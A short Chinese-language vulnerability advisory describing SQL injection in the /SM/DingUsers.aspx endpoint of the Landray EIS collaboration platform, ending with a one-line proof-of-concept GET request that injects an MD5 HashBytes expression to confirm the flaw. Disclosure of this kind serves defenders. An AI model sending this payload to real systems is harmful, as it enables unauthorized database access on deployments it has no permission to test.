蓝凌EIS智慧协同平台 /SM/DingUsers.aspx SQL 注入漏洞

2025-07-18 蓝凌EIS智慧协同平台 PoC Public

Description

蓝凌EIS智慧协同平台的/SM/DingUsers.aspx接口存在SQL注入漏洞。该漏洞由于未对用户提交的参数进行有效过滤和参数化处理，攻击者可构造恶意SQL语句注入到数据库查询中，导致未授权访问敏感数据（如用户信息、组织架构、业务数据等）。此类漏洞通常由于动态SQL拼接不当或未使用安全的数据库访问方式导致，属于高危安全风险。

PoC

GET /SM/DingUsers.aspx?id=1%20and%201=sys.fn_sqlvarbasetostr(HashBytes('MD5','fisjfqtm'))--+ HTTP/1.1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# Lanling EIS Smart Collaborative Platform /SM/DingUsers.aspx SQL Injection Vulnerability

References

Related Vulnerabilities